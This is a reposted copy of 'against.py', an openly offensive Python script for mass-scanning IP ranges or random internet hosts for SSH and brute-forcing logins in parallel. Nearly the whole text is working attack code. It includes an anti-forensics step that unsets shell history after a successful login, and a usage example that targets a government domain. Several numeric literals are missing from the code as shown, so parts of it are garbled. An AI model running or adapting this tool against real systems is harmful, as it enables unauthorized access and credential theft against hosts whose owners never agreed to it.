against.py

Against is a very fast ssh attack script which includes a multithreaded port scanning module (tcp connect) for discovering possible targets and a multithreaded brute-forcing module which attacks in parallel (multiprocessing) all discovered hosts or given ip addresses from a list.

Authored by pigtail23 | Site nullsecurity.net
Updated: Feb 28, 2014
Changes: Honeypot detection, optimizations, detection for key authentication, and much more.

#!/usr/bin/env python
# -*- coding: latin-1 -*- ######################################################
#                ____                     _ __                                 #
#     ___  __ __/ / /__ ___ ______ ______(_) /___ __                           #
#    / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // /                           #
#   /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, /                            #
#                                            /___/ team                        #
#                                                                              #
# against.py - mass scanning and brute-forcing script for ssh                  #
#                                                                              #
# FILE                                                                         #
# against.py                                                                   #
#                                                                              #
# DATE                                                                         #
# 2014-02-27                                                                   #
#                                                                              #
# DESCRIPTION                                                                  #
# 'against.py' is a very fast ssh attacking script which includes a            #
# multithreaded port scanning module (tcp connect) for discovering possible    #
# targets and a multithreaded brute-forcing module which attacks               #
# parallel all discovered hosts or given ip addresses from a list.             #
#                                                                              #
# AUTHOR                                                                       #
# pgt - <a href="http://www.nullsecurity.net/" title="http://www.nullsecurity.net/">http://www.nullsecurity.net/</a>                                           #
#                                                                              #
# TODO                                                                         #
# - keyboard-interactive handler                                               #
# - scan ip address ranges randomly                                            #
#                                                                              #
# CHANGELOG                                                                    #
# v0.2                                                                         #
# - prints kernel version after login                                          #
# - optimized timings when cracking                                            #
# - detection for key authentication                                           #
# - false positive / small honeypot detection                                  #
# - save found target ip addresses to file, -O option                          #
# - 127.x.x.x will be excluded when scanning for random ip addresses           #
# - unsort found target ip addresses, because of sequential port scanning      #
# - resolve ip address by given hostname                                       #
# - stop attacks on target when keyboard-interactive is required               #
# - set threads for port scanning, -s option                                   #
#                                                                              #
################################################################################


from socket import *
import multiprocessing
import threading
import time
import paramiko
import sys
import os
import logging
import argparse
import random
import re


# version of against.py
VERSION = 'v0.2'


# print our nice banner Wink
def banner():
    print '--==[ against.py by <a href="mailto:[email protected]">[email protected]</a> ]==--'

# print version
def version():
    print '[+] against.py %s' % (VERSION)
    sys.exit()

# check if we can write to file
def test_file(filename):
    try:
        outfile = open(filename, 'a')
        outfile.close()
    except IOError:
        print '[!] ERROR: cannot write to file \'%s\'' % filename
        sys.exit(1)

# define command line parameters and help page
def argspage():
    parser = argparse.ArgumentParser(
    usage = '\n\n   ./%(prog)s -i <arg> | -r <arg> | -I <arg>',
    formatter_class = argparse.RawDescriptionHelpFormatter,
    epilog =
    'examples:\n\n'

    '  attack single target\n'
    '  usage: ./%(prog)s -i nsa.gov -L passwords.txt\n\n'

    '  scanning and attacking an ip-range\n'
    '  usage: ./%(prog)s -i 192.168.0-10.1-254 -u admin -l troll -s 500',
    add_help = False
    )

    options = parser.add_argument_group('options', '')
    options.add_argument('-i', default=False, metavar='<ip/range>',
            help='ip address/ip range/domain (e.g.: 192.168.0-3.1-254)')
    options.add_argument('-I', default=False, metavar='<file>',
            help='list of targets')
    options.add_argument('-r', default=False, metavar='<num>',
            help='attack random hosts')
    options.add_argument('-p', default=22, metavar='<num>',
            help='port number of sshd (default: 22)')
    options.add_argument('-t', default=4, metavar='<num>',
            help='threads per host (default: 4)')
    options.add_argument('-f', default=8, metavar='<num>',
            help='attack max hosts parallel (default: 8)')
    options.add_argument('-u', default='root', metavar='<username>',
            help='single username (default: root)')
    options.add_argument('-U', default=False, metavar='<file>',
            help='list of usernames')
    options.add_argument('-l', default='toor', metavar='<password>',
            help='single password (default: toor)')
    options.add_argument('-L', default=False, metavar='<file>',
            help='list of passwords')
    options.add_argument('-o', default=False, metavar='<file>',
            help='write found logins to file')
    options.add_argument('-O', default=False, metavar='<file>',
            help='write found target ip addresses to file')
    options.add_argument('-s', default=200, metavar='<num>',
            help='threads when port scanning (default: 200)')
    options.add_argument('-T', default=3, metavar='<sec>',
            help='timeout in seconds (default: 3)')
    options.add_argument('-V', action='store_true',
            help='print version of against.py and exit')

    args = parser.parse_args()

    if args.V:
        version()

    if (args.i == False) and (args.I == False) and (args.r == False):
        print ''
        parser.print_help()
        sys.exit()

    return args

# write found ip addresses / logins to file
def write_to_file(filename, text):
    outfile = open(filename, 'a')
    outfile.write(text)
    outfile.close()

# connect to target and checks for an open port
def scan(target, port, timeout, oips):
    sock = socket(AF_INET, SOCK_STREAM)
    sock.settimeout(timeout)
    result = sock.connect_ex((target, port))
    sock.close()
    if result == :
        HOSTLIST.append(target)
        if oips:
            write_to_file(oips, target + '\n')

# control the maximum number of threads
def active_threads(threads, waittime):
    while threading.activeCount() > threads:
        time.sleep(waittime)

# create thread and call scan()
def thread_scan(args, target):
    port = int(args.p)
    timeout = float(args.T)
    oips = args.O
    threads = int(args.s)

    bam = threading.Thread(target=scan, args=(target, port, timeout, oips))
    bam.start()

    active_threads(threads, 0.0001)
    time.sleep(0.001)

# only the output when scanning for targets
def scan_output(i):
    sys.stdout.flush()
    sys.stdout.write('\r[*] hosts scanned: {0} | ' \
            'possible to attack: {1}'.format(i, len(HOSTLIST)))

# handle format of given target(s)
def check_targets(targets):
    if re.match(r'^[0-9.\-]*$', targets):
        return targets
    try:
        target = gethostbyname(targets)
        return target
    except gaierror:
        print '[-] \'%s\' is unreachable' % (targets)
        finished()
        sys.exit(1)

# unsort found hosts, because of incremental scanning
def unsort_hostlist():
    print '[*] unsort host list'
    for i in range(15):
        random.shuffle(HOSTLIST)

# handle ip range format from command line
def handle_ip_range(iprange):
    parted = tuple(part for part in iprange.split('.'))

    rsa = range(4)
    rsb = range(4)
    for i in range(4):
        hyphen = parted[i].find('-')
        if hyphen != -1:
            rsa[i] = int(parted[i][:hyphen])
            rsb[i] = int(parted[i][1+hyphen:]) + 1
        else:
            rsa[i] = int(parted[i])
            rsb[i] = int(parted[i]) + 1

    return (rsa, rsb)

# call thread_scan() with target ip addresses
def ip_range(args):
    targets = check_targets(args.i)
    rsa, rsb = handle_ip_range(targets)

    print '[*] scanning %s for ssh services' % targets
    counter =
    for i in range(rsa[], rsb[]):
        for j in range(rsa[1], rsb[1]):
            for k in range(rsa[2], rsb[2]):
                for l in range(rsa[3], rsb[3]):
                    target = '%d.%d.%d.%d' % (i, j, k, l)
                    counter += 1
                    scan_output(counter)
                    thread_scan(args, target)

    # waiting for the last running threads
    active_threads(1, 0.1)

    scan_output(counter)
    print '\n[*] finished scan'

# create ip addresses
def randip():
    rand = range(4)
    for i in range(4):
        rand[i] = random.randrange(, 256)

    # exclude 127.x.x.x
    if rand[] == 127:
        randip()

    ipadd = '%d.%d.%d.%d' % (rand[], rand[1], rand[2], rand[3])
    return ipadd

# create random ip addresses
def rand_ip(args):
    i =
    print '[*] scanning random ips for ssh services'
    while len(HOSTLIST) < int(args.r):
        i += 1
        scan_output(i)
        thread_scan(args, randip())

    # waiting for the last running threads
    active_threads(1, 1)

    scan_output(i)
    print '\n[*] finished scan.'

# checks if given filename by parameter exists
def file_exists(filename):
    try:
        open(filename).readlines()
    except IOError:
        print '[!] ERROR: cannot open file \'%s\'' % filename
        sys.exit(1)

# read-in a file with ip addresses
def ip_list(ipfile):
    file_exists(ipfile)
    targets = open(ipfile).readlines()
    for target in targets:
        HOSTLIST.append(target)

# connect to target and try to login
def crack(target, port, user, passwd, outfile, timeo, i):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    user = user.replace('\n', '')
    passwd = passwd.replace('\n', '')
    try:
        ssh.connect(target, port=port, username=user, password=passwd,
                timeout=timeo, pkey=None, allow_agent=False)
        time.sleep(3)
        try:
            ssh.exec_command('unset HISTFILE ; unset HISTSIZE')
            time.sleep(1)
            ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command('uname -a ' \
                    '|| cat /proc/version')
            output = 'kernel: %s' \
                    % (ssh_stdout.readlines()[].replace('\n', ''))
        except:
            output = 'info: maybe a honeypot or false positive'
        login = '[+] login found for %s | %s:%s\n' \
                '[!] %s' % (target, user, passwd, output)
        print login
        if outfile:
            write_to_file(outfile, login + '\n')
        ssh.close()
        os._exit()
    except paramiko.AuthenticationException, e:
        ssh.close()
        exception = str(e)
        if '[\'publickey\']' in exception:
            print '[-] key authentication only - ' \
                'stopped attack against %s' % (target)
            os._exit(1)
        elif '\'keyboard-interactive\'' in exception:
            print '[-] %s requires \'keyboard-interactive\' handler' % (target)
            os._exit(1)
    except:
        ssh.close()
        # after 3 timeouts per request the attack against $target will stopped
        if i < 3:
            i += 1
            # reconnect after random seconds (between 0.6 and 1.2 sec)
            randtime = random.uniform(0.6, 1.2)
            time.sleep(randtime)
            crack(target, port, user, passwd, outfile, timeo, i)
        else:
            print '[-] too many timeouts - stopped attack against %s' % (target)
            os._exit(1)

# create 'x' number of threads and call crack()
def thread_it(target, args):
    port = int(args.p)
    user = args.u
    userlist = args.U
    password = args.l
    passlist = args.L
    outfile = args.o
    timeout = float(args.T)
    threads = int(args.t)

    if userlist:
        users = open(userlist).readlines()
    else:
        users = [user]
    if passlist:
        passwords = open(passlist).readlines()
    else:
        passwords = [password]

    # try/except looks dirty but we need it :/
    try:
        for user in users:
            for password in passwords:
                Run = threading.Thread(target=crack, args=(target, port, user,
                    password, outfile, timeout, ,))
                Run.start()
                # checks that we a max number of threads
                active_threads(threads, 0.01)
                time.sleep(0.1)
        # waiting for the last running threads
        active_threads(1, 1)
    except KeyboardInterrupt:
        os._exit(1)

# create 'x' child processes (child == cracking routine for only one target)
def fork_it(args):
    threads = int(args.t)
    childs = int(args.f)
    len_hosts = len(HOSTLIST)

    print '[*] attacking %d target(s)\n' \
            '[*] cracking up to %d hosts parallel\n' \
            '[*] threads per host: %d' % (len_hosts, childs, threads)

    i = 1
    for host in HOSTLIST:
        host = host.replace('\n', '')
        print '[*] performing attacks against %s [%d/%d]' % (host, i, len_hosts)
        hostfork = multiprocessing.Process(target=thread_it, args=(host, args))
        hostfork.start()
        # checks that we have a max number of childs
        while len(multiprocessing.active_children()) >= childs:
            time.sleep(0.001)
        time.sleep(0.001)
        i += 1

    # waiting for child processes
    while multiprocessing.active_children():
        time.sleep(1)

# \(0.o)/
def empty_hostlist():
    if len(HOSTLIST) == :
        print '[-] found no targets to attack!'
        finished()
        sys.exit(1)

# output when against.py finished all routines
def finished():
    print '[*] game over!!!'

def main():
    banner()
    args = argspage()

    if args.U:
        file_exists(args.U)
    if args.L:
        file_exists(args.L)
    if args.o:
        test_file(args.o)
    if args.O:
        test_file(args.O)

    if args.i:
        ip_range(args)
        unsort_hostlist()
    elif args.I:
        ip_list(args.I)
    else:
        rand_ip(args)

    time.sleep(0.1)
    empty_hostlist()
    fork_it(args)
    finished()

if __name__ == '__main__':
    HOSTLIST = []
    try:
        logging.disable(logging.CRITICAL)
        main()
    except KeyboardInterrupt:
        print '\nbye bye!!!'
        time.sleep(0.2)
        os._exit(1)